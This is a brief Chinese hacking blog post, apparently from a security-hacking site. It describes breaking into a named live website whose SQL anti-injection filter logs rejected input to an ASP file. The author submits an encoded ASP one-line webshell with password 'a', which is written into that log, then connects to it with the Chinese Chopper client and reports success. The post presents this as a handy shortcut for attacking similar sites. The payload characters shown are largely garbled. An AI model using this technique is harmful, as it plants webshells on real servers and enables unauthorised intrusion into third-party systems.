今晚群里朋友叫看个站，有sql防注入，绕不过，但是有发现记录wrong的文件sqlin.asp。




既然做了记录，再查看了下它的记录文件




 于是想着构造个asp一句话写进去，前面几种没加密的都失败了，于是写了个加密的

            ┼�}�诞�整����超�∨≡┩��           密码 a  (加密方式是: ANSI->Unicode)

 提交       and 1= ┼�}�诞�整����超�∨≡┩��




   http://www.jnb1.net/sqlin.asp   菜刀连接之，成功




 

+—————————————-+

 其实过程并不难，也没什么技术难度，但是有时遇到这种记录注入错误的网站，多个便捷途径还是不错的。还有，另外百度了下，发现半坑土农民曾经发现了类似的，但是，额，去他博客看时 , 瀑布汗 


   



声明：本站（华域联盟www.cnhackhy.com）所有文章，如无特殊说明或标注，均为本站原创发布。任何个人或组织，在未征得本站同意时，禁止复制、盗用、采集、发布本站内容到任何网站、书籍等各类媒体平台。如若本站内容侵犯了原著者的合法权益，可联系我们进行处理。